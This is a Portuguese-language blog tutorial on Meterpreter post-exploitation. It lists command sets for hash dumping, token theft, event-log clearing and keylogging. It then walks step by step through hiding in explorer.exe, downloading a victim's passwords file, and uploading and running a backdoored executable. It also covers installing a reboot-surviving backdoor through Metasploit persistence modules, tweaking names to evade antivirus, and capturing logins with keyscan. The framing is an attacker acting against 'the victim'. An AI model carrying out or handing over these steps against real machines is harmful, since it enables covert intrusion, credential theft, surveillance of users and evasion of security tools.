Pós-Conexão - Conhecendo Meterpreter


Post Exploitation - Como o termo sugere, a  exploração posterior basicamente significa as fases de operação uma vez que o sistema da vítima foi comprometido pelo atacante. Seja atravéz de engenharia social, Backdoors, pelo servidor, em todos os outros artigos vimos como conseguir acesso ao meterpreter

O valor do sistema comprometido é determinado pelo valor dos dados reais armazenados nele e como um invasor pode usá-lo para fins maliciosos. O conceito de pós-exploração aumentou a partir deste fato apenas sobre como você pode usar as informações do sistema comprometido da vítima.

Esta fase realmente trata de coletar informações confidenciais, documentá-la e ter uma idéia das configurações, interfaces de rede e outros canais de comunicação. Estes podem ser usados para manter o acesso persistente ao sistema de acordo com as necessidades do invasor.


Vamos ver como manter acesso ao alvo mesmo depois que a vítima reiniciar seu computador, veremos como baixar arquivos, enviar arquivos, abrir a webcam, iniciar um keylogger.

Também veremos como utilizar o computador da vítima para invadir outros computadores na mesma rede.

Por exemplo, se você não consegue ter acesso ao seu alvo, mas pode ter acesso a um computador que pode ter acesso a rede de seu alvo.

Básico do Meterpreter

Uma vez que o Meterpreter fornece um ambiente totalmente novo, abordaremos alguns dos comandos básicos do Meterpreter para que você comece e ajude a familiarizá-lo com essa ferramenta mais poderosa.

Core Commands

At its most basic use, meterpreter is a Linux terminal on the victim's computer. As such, many of our basic Linux commands can be used on the meterpreter even if it's on a Windows or other operating system.
Here are some of the core commands we can use on the meterpreter.
  • ? - help menu
  • background - moves the current session to the background
  • bgkill - kills a background meterpreter script
  • bglist - provides a list of all running background scripts
  • bgrun - runs a script as a background thread
  • channel - displays active channels
  • close - closes a channel
  • exit - terminates a meterpreter session
  • help - help menu
  • interact - interacts with a channel
  • irb - go into Ruby scripting mode
  • migrate - moves the active process to a designated PID
  • quit - terminates the meterpreter session
  • read - reads the data from a channel
  • run - executes the meterpreter script designated after it
  • use - loads a meterpreter extension
  • write - writes data to a channel

Networking Commands

  • ipconfig - displays network interfaces with key information including IP address, etc.
  • portfwd - forwards a port on the victim system to a remote service
  • route - view or modify the victim routing table

System Commands

  • clearav - clears the event logs on the victim's computer
  • drop_token - drops a stolen token
  • execute - executes a command
  • getpid - gets the current process ID (PID)
  • getprivs - gets as many privileges as possible
  • getuid - get the user that the server is running as
  • kill - terminate the process designated by the PID
  • ps - list running processes
  • reboot - reboots the victim computer
  • reg - interact with the victim's registry
  • rev2self - calls RevertToSelf() on the victim machine
  • shell - opens a command shell on the victim machine
  • shutdown - shuts down the victim's computer
  • steal_token - attempts to steal the token of a specified (PID) process
  • sysinfo - gets the details about the victim computer such as OS and name

Privilege Escalation Commands

  • getsystem - uses 15 built-in methods to gain sysadmin privileges

Password Dump Commands

  • hashdump - grabs the hashes in the password (SAM) file
Note that hashdump will often trip AV software, but there are now two scripts that are more stealthy, "run hashdump" and "run smart_hashdump". Look for more on those on my upcoming meterpreter script cheat sheet.

Timestomp Commands

  • timestomp - manipulates the modify, access, and create attributes of a file

Vamos Estudar um pouco de alguns desses comandos


> Help - mostra os comandos
> background - enviará a sessão Meterpreter atual para o plano de fundo e retornará ao prompt msf. Para voltar para a sua sessão do Meterpreter, basta interagir novamente com ele.
> sessions -l - lista todas as sessões ativas
> sessions -i [id da sessão]- interage com certa sessão
> sysinfo - mostra informações da máquina
> ipconfig - exibe as interfaces e endereços da rede na máquina remota.
> getuid - mostra o usuário ativo no momento
> ps - Exibe uma lista de processos em execução no alvo.




Mantendo conexão mesmo após o alvo reiniciar
Comando Migrate
Migrar o nosso processo para outro, se estivermos rodando em algum processo e o alvo desligar perderemos a conexão, por isso devemos procurar um processo que o alvo não vai fechar. Um bom processo é o explorer, pois como ele é a interface gráfica do windows o alvo nunca fechará ele.

> PS - Exibe uma lista de processos em execução no alvo.

Muito útil pois podemos ver todos os programas rodando, podemos ver o ID.

um processo interessante é o explorer que está rodando no id 2116. Uma boa ideia é migrar o nosso processo para um processo seguro no qual estará sempre ativo. o Explorer é a interface gráfica e sempre vai estar funcionando
Agora só precisamos fazer o comando
> migrate 2116

Se formos no alvo e rodarmos o resource monitor veremos que o explorer.exe com o PID(process id) está rodando na porta 8080, a mesma de nosso Backdoor.

Isso é um pouco suspeito pois não é uma porta normal para o Explorer, mas se fizermos migration para algum navegador não será suspeito.

O módulo migrate não funciona no Mac OS.

Abrir um prompt de comando na vítima
Outra ferramenta interessante é o comando shell, com ele você abre um comando shell no alvo.

> shell
abrimos um prompt do windows  e podemos usar qualquer comando



veja mais comandos básicos do meterpreter aqui:

Comandos de arquivos do sistema

File System Commands

  • cat - read and print the contents of a file
  • cd - change directory on the victim
  • del - delete a file on the victim
  • download - download a file from the victim system to the attacker system
  • edit - edit a file with vim
  • getlwd - print the local directory
  • getwd - print working directory
  • lcd - change local directory
  • lpwd - print local directory
  • ls - list files in current directory
  • mkdir - make a directory on the victim system
  • pwd - print working directory
  • rm - delete a file
  • rmdir - remove directory on the victim system
  • upload - upload a file from the attacker system to the victim

Com esses comandos podemos ler, editar, baixar, enviar, rodar e deletar arquivos da vítima

Manipular arquivos
Para ver onde estamos

> pwd

Para ver os arquivos disponíveis

> ls
> cd IEUser
> cd downolads
> ls


Podemos ver um arquivo que parece interessante, passwords.txt
Para ler ele só precisa realizar o comando cat
> cat passwords.txt


O resultado é o texto do arquivo
test1
test2

Como podemos verificar na vítima


para fazer downolad desse texto podemos fazer o comando
> download passwords.text

Upload e executar
Se quisermos abrir algum backdoor na vítima ou virus podemos com um comando simples e intuitivo
upload[nome do arquivo]
> upload backdoored-calc.exe

Para executar esse arquivo no alvo usamos o comando execute -f [nome do arquivo]
> execute backdoored-calc.exe
podemos usar isso com um keylogger, virus ou qualquer outro arquivo


Mantendo acesso ao alvo - persistência
Fazemos o comando que aciona o help do módulo de persistência
> run persistence -h


Para iniciar efetuamos o comando
> run persistence -U -i 20 -p 80

U - sempre que o alvo ligar o agente vai acionar
i - para ele tentar conectar a cada 20 segundos
p - porta 80 pois não parece suspeito
r - o IP do atacante

O problema desse método é que ele é detectado pelo Antivírus, então para conseguir ultrapassar o antivírus podemos utilizar uma combinação de vários métodos.

Ultrapassando o Antivírus
Primeiro precisamos sair da seção atual desse backdoor com o comando
> background

Vamos utilizar um módulo do metasploit
Este módulo irá instalar um Payload que será executado durante a inicialização. Ele será executado no logon do usuário ou na inicialização do sistema através do valor do registro em "CurrentVersion\Run" (dependendo do privilégio e do método selecionado).

> use exploit/windows/local/persistence

> show options

Vemos que tem algumas opções para configurar o Payload.

EXE_NAME - podemos mudar o nome do Payload para ficar menos detectável. Utilizaremos browser.exe.
SESSION - em qual seção do meterpreter usaremos esse Payload, podemos ver quando fizemos o background na imagem acima que aquela era a session 1. Fazenso o comando > sessions -l podemos ver todas as sessões ativas.

para ver como está as novas configurações fazemos o comando
> show options
Agora o mais importante é especificar o Payload que será injetado como um serviço.
Todo módulo tem configurações avançadas, para acessá-las devemos fazer o comando:

> show advanced


A que estamos mais interessado é EXE: :Custom -
> set EXE: :Custom /var/www/htmal/backdoor.exe
é o payload que estamos usando, vamos verificar se foi atualizado
> show advanced

> Exploit
para iniciar o backdoor

Esse RC File marcado na foto acima é para retirar esse backdoor da máquina da vítima, por isso é bom guardar esse caminho para quando futuramente quiser deletar. para isso, no meterpreter faça o comando resource /path/to/rc/file.rc

vamos ver as sessões ativas, finalizar elas e verificar se foi finalizadas
> sessions -l
> sessions -k
> sessions -l


Agora fazemos um restart no computador da vitima

E ele vai a cada 10 segundos tentar conectar a vítima. para isso só precisamos rodar o meterpreter handler para acessá-lo.

> use exploit/multi/handler
> show options
> exploit
Temos novamente contato com a vítima, mesmo após ela iniciar pois a cada dez segundos ela tenta contato conosco.

Se mesmo assim for detectado pelo antivírus, tente modificar alguns detalhes como set DELAY, VBS_NAME ou REG_NAME.

Comandos da interface de usuário

  • enumdesktops - lists all accessible desktops
  • getdesktop - get the current meterpreter desktop
  • idletime - checks to see how long since the victim system has been idle
  • keyscan_dump - dumps the contents of the software keylogger
  • keyscan_start - starts the software keylogger when associated with a process such as Word or browser
  • keyscan_stop - stops the software keylogger
  • screenshot - grabs a screenshot of the meterpreter desktop
  • set_desktop - changes the meterpreter desktop
  • uictl - enables control of some of the user interface components

Capturando Dados do Teclado

Depois de ter explorado um sistema, existem duas abordagens diferentes que você pode tomar, ir com tudo e pegar muitas informações ou com calma e lento.

Com calma e lento pode levar a uma tonelada de ótimas informações, se você tiver paciência e disciplina.
Uma ferramenta que você pode usar para obter uma coleta de informação baixa e lenta é o script do registrador de teclas com o Meterpreter. Esta ferramenta é muito bem projetada, permitindo que você capture todas as entradas de teclado do sistema, sem escrever nada no disco, deixando uma pegada forense mínima para os pesquisadores seguir mais tarde.

Perfeito para obter senhas, contas de usuários e todo tipo de outras informações valiosas.

Vamos ver isso em ação. Primeiro, exploit um sistema como fazemos normalmente.

Para isso vamos utilizar um módulo chamado
> keyscan_start


Quando a vítima fizer qualquer login, seja de administrador, ou até facebook em https esse módulo te diz o login e senha

> keyscan_dump


Nós capturamos o administrador iniciando sessão com uma senha de 'ohnoes1vebeenh4x0red!'.

Para parar só precisamos fazer o comando
> keyscan_stop

Tirando screenshot
> screenshot



Todas as fotos estarão no diretório demonstrado.

Comentários

Mais visitadas

Usando GPU para Brute-Force com HashCat

Ataque Evil Twin

XSS - Cross-site scripting

Man-in-the-Middle e MITMf - DNS Spoofing e suas defesas

Mitmproxy 1 - Conhecendo

Ataque pelo servidor - Metasploit - Nexpose